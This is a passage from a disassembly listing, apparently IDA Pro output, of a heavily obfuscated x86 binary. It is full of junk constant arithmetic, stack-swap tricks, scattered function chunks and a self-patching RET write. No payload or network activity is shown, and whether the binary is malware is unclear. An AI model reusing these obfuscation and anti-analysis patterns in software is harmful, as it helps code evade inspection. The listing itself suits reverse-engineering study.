0A214814h pop ebx and ebx, 56D8EEA1h or ebx, 0C569B98Ch cmp ebx, 4C02FE4Ch jmp loc_448E2B sub_44997F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44999D: ; CODE XREF: y22d6.y.:00441B0Cj xchg edi, ebp ; =============== S U B R O U T I N E ======================================= sub_44999F proc near ; CODE XREF: sub_449AA9-891p ; FUNCTION CHUNK AT 0043DD19 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F180 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043FF97 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00441C7D SIZE 00000006 BYTES xchg ebx, [esp+0] pop ebx push 4D613793h xchg esi, [esp+0] jmp loc_43FF97 sub_44999F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4499B0: ; CODE XREF: y22d6.y.:loc_44E32Aj add eax, 18h mov [ebp-10h], eax mov eax, [ebp-10h] mov eax, [eax+60h] jmp loc_4448F4 ; =============== S U B R O U T I N E ======================================= sub_4499C1 proc near ; CODE XREF: sub_449739+3j ; FUNCTION CHUNK AT 00445C96 SIZE 0000000A BYTES add esp, 0FFFFFFE4h jmp loc_445C96 sub_4499C1 endp ; =============== S U B R O U T I N E ======================================= sub_4499C9 proc near ; CODE XREF: sub_43BEF7+29j ; sub_44057E:loc_448767p ; FUNCTION CHUNK AT 0044B42B SIZE 0000001E BYTES xchg edx, [esp+0] pop edx push 51F01503h pop eax rol eax, 8 or eax, 136EDE99h jmp loc_44B42B sub_4499C9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- or eax, eax jnz loc_447238 jmp loc_4464B8 ; --------------------------------------------------------------------------- loc_4499EE: ; CODE XREF: y22d6.y.:0043A5EDj ; y22d6.y.:00444681j sbb ecx, 0F65E9124h ; =============== S U B R O U T I N E ======================================= sub_4499F4 proc near ; CODE XREF: y22d6.y.:0044DD80p ; FUNCTION CHUNK AT 0043B135 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043C214 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043D828 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004442A1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00447263 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx jno loc_4442A1 push 7831BD11h pop edx rol edx, 1Bh jmp loc_447263 sub_4499F4 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_266. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_449A0D: ; DATA XREF: sub_44439D+6o mov eax, ds:dword_437620 or eax, eax jnz loc_446464 jmp loc_438A50 ; --------------------------------------------------------------------------- loc_449A20: ; DATA XREF: sub_448EB6+CAo xchg eax, [esp] mov ebp, esp push esi mov esi, ecx xchg esi, [esp] mov esp, ebp jmp loc_448C86 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_310. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A3E9 loc_449A33: ; CODE XREF: sub_44A3E9+Cj jmp loc_43D49A ; END OF FUNCTION CHUNK FOR sub_44A3E9 ; --------------------------------------------------------------------------- loc_449A38: ; CODE XREF: y22d6.y.:00441A85j jmp loc_43B157 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_449A3D: ; CODE XREF: sub_44057E-5511j jmp loc_4472AA ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_449A42: ; CODE XREF: sub_448EB6:loc_437C33j jmp sub_44A9DF ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_449A47: ; DATA XREF: sub_4432B8-663Eo call sub_43CA1A push esi push 0DAB5B422h pop esi xor esi, 7F7C8ED9h and esi, 4EC31FF8h add esi, 0BC67EA0Fh test esi, 40h loc_449A6B: ; CODE XREF: y22d6.y.:00438DECj jmp loc_4453B9 ; --------------------------------------------------------------------------- loc_449A70: ; CODE XREF: y22d6.y.:00439DB5j jge loc_44C074 ; START OF FUNCTION CHUNK FOR sub_44271A loc_449A76: ; CODE XREF: sub_44271A:loc_43D36Ej add eax, 0ECD62DDAh mov eax, [eax] or eax, eax jnz loc_437EC7 jmp loc_44ABBE ; END OF FUNCTION CHUNK FOR sub_44271A ; =============== S U B R O U T I N E ======================================= sub_449A8B proc near ; CODE XREF: y22d6.y.:00443895j ; sub_4384B4+11C56p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004389E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445171 SIZE 00000019 BYTES xchg ebx, [esp+0] pop ebx mov eax, [esp-4+arg_0] push eax mov eax, edx xchg eax, [esp+0] call sub_438E86 mov eax, 203AE851h jmp loc_4389E3 sub_449A8B endp ; --------------------------------------------------------------------------- loc_449AA7: ; CODE XREF: y22d6.y.:0044A329j xor ebx, ecx ; =============== S U B R O U T I N E ======================================= sub_449AA9 proc near ; CODE XREF: y22d6.y.:0044D7C4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004451DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449213 SIZE 0000000A BYTES xchg esi, [esp+0] pop esi mov eax, [esp-4+arg_0] push ebp mov ebp, edx xchg ebp, [esp+0] push ecx jmp loc_4451DE sub_449AA9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449CFC loc_449ABC: ; CODE XREF: sub_449CFC:loc_44C644j pop ebx rol ebx, 0Fh add ebx, 66393DC7h call sub_44C4E8 ; END OF FUNCTION CHUNK FOR sub_449CFC ; START OF FUNCTION CHUNK FOR sub_44C59C loc_449ACB: ; CODE XREF: sub_44C59C-74E8j jmp nullsub_212 ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_449AD0: ; CODE XREF: sub_43A58D+36CEj jmp loc_446303 ; END OF FUNCTION CHUNK FOR sub_43A58D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_449AD5: ; CODE XREF: sub_449641:loc_43A21Bj popf loc_449AD6: ; CODE XREF: y22d6.y.:00437533j sub eax, 533727F8h or eax, ds:4000E9h add eax, 0A6674195h call sub_43B11C ; END OF FUNCTION CHUNK FOR sub_449641 ; START OF FUNCTION CHUNK FOR sub_43A28E loc_449AED: ; CODE XREF: sub_43A28E+1Dj jmp loc_44BB15 ; END OF FUNCTION CHUNK FOR sub_43A28E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E48C loc_449AF2: ; CODE XREF: sub_43E48C-3E57j add eax, 2F6E20ECh push eax pushf push 5E37FC5Ch pop eax sub eax, 0AAB8155Ah add eax, 4CC3D8B9h jmp loc_43AC69 ; END OF FUNCTION CHUNK FOR sub_43E48C ; --------------------------------------------------------------------------- loc_449B11: ; CODE XREF: y22d6.y.:00441CAEj shr edx, 1Bh ror edx, 19h ; START OF FUNCTION CHUNK FOR sub_44DB4F loc_449B17: ; CODE XREF: sub_44DB4F:loc_441C93j add eax, 0E2A26CA6h add eax, ebp add eax, 0AA6C2D53h jmp loc_444B98 ; END OF FUNCTION CHUNK FOR sub_44DB4F ; --------------------------------------------------------------------------- mov eax, 0F2B89A19h call sub_43CA1A push edi push 21201C5Eh jmp loc_4492F8 ; --------------------------------------------------------------------------- loc_449B3F: ; CODE XREF: y22d6.y.:00437C7Fj jge loc_43C396 popf sub esi, ecx jmp loc_4458FD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_326. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447663 loc_449B4E: ; CODE XREF: sub_447663-6B00j jmp sub_43A148 ; END OF FUNCTION CHUNK FOR sub_447663 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD2F loc_449B53: ; CODE XREF: sub_43AD2F+10160j rol eax, 11h push offset loc_44B56A jmp nullsub_146 ; END OF FUNCTION CHUNK FOR sub_43AD2F ; --------------------------------------------------------------------------- loc_449B60: ; DATA XREF: sub_4499C9+1A76o mov eax, [eax] test dword ptr [eax], 0FFFF0000h jnz loc_448721 jmp loc_43D416 ; --------------------------------------------------------------------------- cdq jmp loc_44276E ; --------------------------------------------------------------------------- loc_449B79: ; CODE XREF: y22d6.y.:0043BCD3j jz loc_447C94 test eax, esi jmp loc_43ED64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E33C loc_449B86: ; CODE XREF: sub_44E33C:loc_44E34Dj xor esi, 245B7A9Ah call sub_43878A loc_449B91: ; CODE XREF: y22d6.y.:0044E07Bj jmp nullsub_277 ; END OF FUNCTION CHUNK FOR sub_44E33C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_449B96: ; CODE XREF: sub_43EC1C+EFCBj jmp loc_440849 ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_449B9B: ; CODE XREF: sub_43C7C1+15j jmp loc_44C374 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44921D loc_449BA0: ; CODE XREF: sub_44921D-11FBFj jmp loc_44E185 ; END OF FUNCTION CHUNK FOR sub_44921D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_449BA5: ; CODE XREF: sub_448EB6-C115j xor ebp, 3807FC33h and edx, 1BAFBA3Dh test ebx, 0A4E15AAFh jmp loc_440501 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_449BBC proc near ; CODE XREF: y22d6.y.:0043AAE5p ; y22d6.y.:00442FF3j xchg edx, [esp+0] pop edx xor eax, 6A9A8C7Bh push ecx push 70FC07BAh jmp loc_44BC66 sub_449BBC endp ; --------------------------------------------------------------------------- loc_449BD1: ; CODE XREF: y22d6.y.:0043C197j jg loc_4444A0 test esi, eax jmp loc_438C82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4428C2 loc_449BDE: ; CODE XREF: sub_4428C2:loc_43A64Cj pop ebp mov eax, [esp+0] push edx push esi mov esi, edx xchg esi, [esp+4+var_4] push 36EF7715h jmp loc_447AB8 ; END OF FUNCTION CHUNK FOR sub_4428C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_449BF3: ; CODE XREF: sub_448EB6:loc_445254j add eax, 8F826C4Eh rol eax, 8 xor eax, 5AB6AB2h jnz loc_443288 pushf test ebp, esi jmp loc_440799 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_449C10: ; CODE XREF: sub_438B66+139j test eax, 1 jmp loc_43B6BC ; END OF FUNCTION CHUNK FOR sub_438B66 ; =============== S U B R O U T I N E ======================================= sub_449C1B proc near ; DATA XREF: sub_442C0C-9B80o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043B152 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004405DF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440BB0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044951A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044AE64 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044E3ED SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044E49A SIZE 0000000E BYTES cmp al, 0A4h jz loc_449515 jmp loc_43B152 sub_449C1B endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_449C29: ; CODE XREF: y22d6.y.:loc_441A26j add eax, 0C6D7F7CBh xor eax, 0A0158005h add eax, ebp loc_449C37: ; CODE XREF: y22d6.y.:004457A8j add eax, 0BA28CDA7h push offset loc_43E87C jmp locret_4377D0 ; --------------------------------------------------------------------------- loc_449C47: ; CODE XREF: y22d6.y.:0044818Cj js loc_43F17E test esi, 6B2931C9h jmp loc_4418BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44371A loc_449C58: ; CODE XREF: sub_44371A+70FAj rol edi, 0Fh jg loc_4479D7 jmp loc_43B3A6 ; END OF FUNCTION CHUNK FOR sub_44371A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_275. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440E77 loc_449C67: ; CODE XREF: sub_440E77+7j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_440E77 ; --------------------------------------------------------------------------- locret_449C6C: ; CODE XREF: y22d6.y.:0044AEBCj retn ; --------------------------------------------------------------------------- loc_449C6D: ; CODE XREF: y22d6.y.:loc_43A134j push edx call sub_4397E6 push 0BB08305Ah pop eax rol eax, 0Ch add eax, 5F0C1866h push ebx call sub_4420B5 ; START OF FUNCTION CHUNK FOR sub_44B27F loc_449C88: ; CODE XREF: sub_44B27F+Dj jmp loc_43F48C ; END OF FUNCTION CHUNK FOR sub_44B27F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_449C8D: ; CODE XREF: sub_4385ED+BCDFj jmp nullsub_199 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440B68 loc_449C92: ; CODE XREF: sub_440B68+5j jmp loc_44D839 ; END OF FUNCTION CHUNK FOR sub_440B68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DA4B loc_449C97: ; CODE XREF: sub_44DA4B-9E51j xchg ebp, [esi] loc_449C99: ; CODE XREF: sub_44DA4B:loc_43C726j push edx push 0F7A06E5Eh pop edx xor edx, 2F4C15CBh rol edx, 4 xor edx, 0DE91FEDFh jmp loc_44D35B ; END OF FUNCTION CHUNK FOR sub_44DA4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D6D0 loc_449CB4: ; CODE XREF: sub_44D6D0-B90Ej xchg eax, edx jmp loc_438C10 ; END OF FUNCTION CHUNK FOR sub_44D6D0 ; =============== S U B R O U T I N E ======================================= sub_449CBB proc near ; CODE XREF: sub_43CEE2:loc_445CD6p ; y22d6.y.:0044BAAEj ; FUNCTION CHUNK AT 00439027 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004449DB SIZE 0000000E BYTES xchg ecx, [esp+0] pop ecx mov eax, [eax+18h] dec eax call sub_44731A loc_449CC8: ; CODE XREF: sub_44B674-F8F5j jz loc_439027 jmp loc_439B48 sub_449CBB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_449CD3: ; CODE XREF: sub_44B674:loc_449683j push offset loc_444DD3 jmp loc_442A81 ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E63C loc_449CDD: ; CODE XREF: sub_44E63C-A9C6j ror ebp, 19h jmp loc_43F33F ; END OF FUNCTION CHUNK FOR sub_44E63C ; --------------------------------------------------------------------------- loc_449CE5: ; CODE XREF: y22d6.y.:0043DEC9j jnb loc_43E1A5 add edx, ebx ; =============== S U B R O U T I N E ======================================= sub_449CED proc near ; CODE XREF: y22d6.y.:0044A2ADp ; FUNCTION CHUNK AT 0043C410 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EC32 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440B7A SIZE 00000012 BYTES xchg edx, [esp+0] pop edx push 9CB7D74h jmp loc_43EC32 sub_449CED endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_449CFB: ; CODE XREF: y22d6.y.:0043D56Bj cdq ; =============== S U B R O U T I N E ======================================= sub_449CFC proc near ; CODE XREF: sub_43BEF7+BEF1p ; FUNCTION CHUNK AT 0043DA3C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00449ABC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044C644 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi js loc_43DA3C push ebx push 0E286F963h jmp loc_44C644 sub_449CFC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437901 loc_449D11: ; CODE XREF: sub_437901+1086Ej ror eax, 4 mov edx, [esp-4+arg_0] push eax mov eax, edx call sub_44A46F mov eax, [esp+0] push esi call sub_44E51C ; END OF FUNCTION CHUNK FOR sub_437901 ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_449D28: ; CODE XREF: sub_4432B8+3Ej jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_449D2D: ; CODE XREF: sub_43E81B:loc_447EB0j mov esi, eax xchg esi, [esp+0] call sub_43AD2F test eax, eax jz loc_4422D0 jmp loc_437992 ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- loc_449D44: ; CODE XREF: y22d6.y.:0043A0CDj adc eax, 2A483F2Eh ; START OF FUNCTION CHUNK FOR sub_444E14 loc_449D4A: ; CODE XREF: sub_444E14:loc_43A0B4j xor eax, 7B87F21Dh call sub_43F7FF loc_449D55: ; CODE XREF: y22d6.y.:loc_43E3F6j rol eax, 16h jmp loc_440071 ; END OF FUNCTION CHUNK FOR sub_444E14 ; --------------------------------------------------------------------------- locret_449D5D: ; CODE XREF: y22d6.y.:00442F0Bj retn ; --------------------------------------------------------------------------- loc_449D5E: ; CODE XREF: y22d6.y.:0043E59Bj jmp loc_44C4D2 ; --------------------------------------------------------------------------- loc_449D63: ; DATA XREF: sub_4432B8:loc_43E872o add edx, 96CF7A31h add edx, ebp add edx, 0E8EFFA97h mov edx, [edx] mov [edx], eax jmp loc_448721 ; --------------------------------------------------------------------------- add ebp, 35AE4958h jmp loc_44AA47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA5D loc_449D85: ; CODE XREF: sub_44AA5D:loc_44007Cj mov eax, 147A4491h call sub_43CA1A push ebx push 0E5ACC346h pop ebx and ebx, ds:4000E5h sub ebx, 3CFEFCECh loc_449DA2: ; CODE XREF: y22d6.y.:loc_446E6Ej jmp loc_443505 ; END OF FUNCTION CHUNK FOR sub_44AA5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_449DA7: ; CODE XREF: sub_448EB6-ACC1j xchg ebx, [esp+0] push edx push 0ED85E635h pop edx xor edx, 9102B128h jmp loc_43BC0C ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_449DBC: ; CODE XREF: y22d6.y.:loc_43BE14j jz loc_441FD5 jmp loc_43CE80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_449DC7: ; CODE XREF: sub_444581+6j mov edx, ds:dword_43F7D0 or edx, edx jnz loc_43B348 jmp loc_44CDD2 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_449DDA: ; CODE XREF: sub_44633F:loc_43BC38j jl loc_444A31 loc_449DE0: ; CODE XREF: y22d6.y.:00447F0Fj jmp loc_44BD7F ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- mov ebx, [ebp+0] jmp loc_444A2D ; --------------------------------------------------------------------------- rol esi, 1 shl esi, 5 jmp sub_43CF9E ; --------------------------------------------------------------------------- mov eax, 2DC123E0h call sub_43CA1A mov ds:off_41E10C, eax lea eax, sub_44A5E5 mov byte ptr [eax], 0C3h jmp loc_440E34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A5E5 loc_449E15: ; CODE XREF: sub_44A5E5:loc_440533j mov eax, [esp+4+var_4] push edx push ecx jmp loc_44336E ; END OF FUNCTION CHUNK FOR sub_44A5E5 ; --------------------------------------------------------------------------- sbb esi, edx jmp loc_43CBFF ; =============== S U B R O U T I N E ======================================= sub_449E26 proc near ; CODE XREF: y22d6.y.:00442BB4j ; sub_44DCA4+4p xchg esi, [esp+0] pop esi push ebp mov ebp, edx xchg ebp, [esp+0] call sub_44A413 mov eax, 0D1CB0F56h jmp loc_44368E sub_449E26 endp ; --------------------------------------------------------------------------- and eax, 0E8A2482Ah jmp sub_44DD60 ; --------------------------------------------------------------------------- loc_449E4A: ; CODE XREF: y22d6.y.:00445828j push esi ; =============== S U B R O U T I N E ======================================= sub_449E4B proc near ; CODE XREF: sub_43A411+3p xchg ebx, [esp+0] pop ebx sub_449E4B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44271A loc_449E4F: ; CODE XREF: sub_44271A:loc_4404ADj xchg ebx, [esp+4+var_4] mov esi, ebp xchg esi, [esp+4+var_4] mov ebp, esp push ecx jmp loc_44D60A ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BA9E loc_449E5F: ; CODE XREF: sub_43BA9E+Dj mov esi, eax xchg esi, [esp+4+var_4] push 0DE8B34CEh pop eax sub eax, 0E140366Eh jmp loc_442B26 ; END OF FUNCTION CHUNK FOR sub_43BA9E ; --------------------------------------------------------------------------- loc_449E75: ; CODE XREF: y22d6.y.:loc_43D07Dj mov esi, ebp pop ebp add esi, 0A9318BD3h or esi, 0D08C380h add esi, 0C093A5D9h xchg esi, [esp] jmp sub_440F6A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_449E93: ; CODE XREF: y22d6.y.:00449614j jmp loc_449823 ; --------------------------------------------------------------------------- loc_449E98: ; CODE XREF: y22d6.y.:0043D94Bj jmp loc_4376C7 ; --------------------------------------------------------------------------- loc_449E9D: ; CODE XREF: y22d6.y.:loc_447332j pop edi add edi, 0F6542565h rol edi, 1Fh and edi, 744E13F7h sub edi, 7D3B8F12h add edi, 2D7B5C6Eh jmp loc_43AE5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A095 loc_449EBE: ; CODE XREF: sub_44A095+754j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_44A095 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_449EC0: ; CODE XREF: sub_43EC01+6203j jmp loc_442942 ; END OF FUNCTION CHUNK FOR sub_43EC01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65F loc_449EC5: ; CODE XREF: sub_43C65F+3702j jmp loc_4488BA ; END OF FUNCTION CHUNK FOR sub_43C65F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437D47 loc_449ECA: ; CODE XREF: sub_437D47+10j jmp loc_445ECB ; END OF FUNCTION CHUNK FOR sub_437D47 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449ECF proc near ; CODE XREF: sub_43704E:loc_43DD87j ; y22d6.y.:0043F455p ... ; FUNCTION CHUNK AT 0043A31B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043A6B3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043BA10 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044499A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004486A2 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0044B4CB SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_4486A2 sub_449ECF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4400D5 loc_449ED7: ; CODE XREF: sub_4400D5+15j jnz loc_43F883 loc_449EDD: ; CODE XREF: y22d6.y.:0044A2D1j jmp loc_43CF60 ; END OF FUNCTION CHUNK FOR sub_4400D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_449EE2: ; CODE XREF: sub_4481EF-D7F6j jmp nullsub_165 ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- or ebx, eax jmp loc_43F874 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_449EEE: ; CODE XREF: sub_447268:loc_448181j js loc_4423F3 not edx jo loc_442368 jmp loc_4423F3 ; END OF FUNCTION CHUNK FOR sub_447268 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D025 loc_449F01: ; CODE XREF: sub_43D025-4E0Aj mov ebx, edx loc_449F03: ; CODE XREF: sub_44529A-4CFEj add ecx, 0F70AAA0Ah add ecx, ebp add ecx, 129FD844h push offset loc_4436C4 jmp nullsub_142 ; END OF FUNCTION CHUNK FOR sub_43D025 ; =============== S U B R O U T I N E ======================================= sub_449F1B proc near ; DATA XREF: y22d6.y.:loc_4380A2o ; FUNCTION CHUNK AT 004413B4 SIZE 00000005 BYTES push 16437EBAh pop edi xor edi, 21EBEBD3h push offset sub_43A5AA jmp loc_4413B4 sub_449F1B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD94 loc_449F31: ; CODE XREF: sub_43AD94:loc_4420F4j mov ebp, esp jz sub_43CC1A add esp, 0FFFFFED0h push esi push 9159504Ah jmp loc_44A63B ; END OF FUNCTION CHUNK FOR sub_43AD94 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_272. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_449F4B: ; CODE XREF: sub_43B09B+12F46j jz loc_440F58 jmp loc_43A6F3 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_449F56: ; CODE XREF: sub_4432B8+1E1Aj shr esi, 1Dh loc_449F59: ; CODE XREF: sub_4432B8:loc_43B448j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_43E2F7 jmp loc_44626C ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- mov eax, 0DA4431C0h call sub_43CA1A push ebx push 0AF1EA5A5h pop ebx sub ebx, 338471ECh add ebx, 84A7ACE7h jmp loc_43F1BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_449F8C: ; CODE XREF: sub_43C55B:loc_4484BCj pop eax retn ; END OF FUNCTION CHUNK FOR sub_43C55B ; =============== S U B R O U T I N E ======================================= sub_449F8E proc near ; CODE XREF: sub_43B01D:loc_43B030j ; sub_43BCA9:loc_445C69j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0044477A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BEF8 SIZE 0000000F BYTES push ebp mov ebp, eax xchg ebp, [esp+4+var_4] jmp loc_44477A sub_449F8E endp ; --------------------------------------------------------------------------- loc_449F99: ; CODE XREF: y22d6.y.:loc_43B673j pop ecx rol ecx, 12h and ecx, 99CA262Ch test ecx, 4 jmp loc_4395C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_449FAE: ; CODE XREF: sub_4432B8+3D63j mov eax, [esp-4+arg_0] push edx call sub_44C8E9 loc_449FB7: ; CODE XREF: sub_44A620-6A5Aj jmp sub_441000 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4397E6 loc_449FBC: ; CODE XREF: sub_4397E6:loc_437348j push ecx mov [ebp+var_4], eax push offset loc_44433F jmp loc_44B68E ; END OF FUNCTION CHUNK FOR sub_4397E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_449FCA: ; CODE XREF: sub_44271A:loc_43BD19j rol eax, 4 push esi sbb esi, 0C3564D78h jmp loc_440661 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC92 loc_449FD9: ; CODE XREF: sub_43EC92:loc_4376F2j ; sub_43EC92+134Bj lea edx, [ebp+var_14] mov eax, offset dword_4413C4 push eax push offset loc_44989A jmp nullsub_145 ; END OF FUNCTION CHUNK FOR sub_43EC92 ; --------------------------------------------------------------------------- loc_449FEC: ; CODE XREF: y22d6.y.:0043D05Ej jl loc_441F8E loc_449FF2: ; CODE XREF: y22d6.y.:00440876j jmp sub_44D088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438CA4 loc_449FF7: ; CODE XREF: sub_438CA4+7j jmp sub_44B06F ; END OF FUNCTION CHUNK FOR sub_438CA4 ; --------------------------------------------------------------------------- or edx, 5F55BA87h sub eax, ebx jmp loc_441F8E ; --------------------------------------------------------------------------- loc_44A009: ; CODE XREF: y22d6.y.:0044A3FCj ; y22d6.y.:0044C5BAj cdq jmp loc_43A816 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_44A00F: ; CODE XREF: sub_43E81B-3785j pop esi or esi, 653D53DDh add esi, 8242A401h xchg esi, [esp+4+var_4] jmp loc_4415D7 ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- sbb ebx, eax jmp sub_43E3BD ; --------------------------------------------------------------------------- adc esi, 0FB25F587h pushf jmp sub_445141 ; --------------------------------------------------------------------------- loc_44A037: ; DATA XREF: 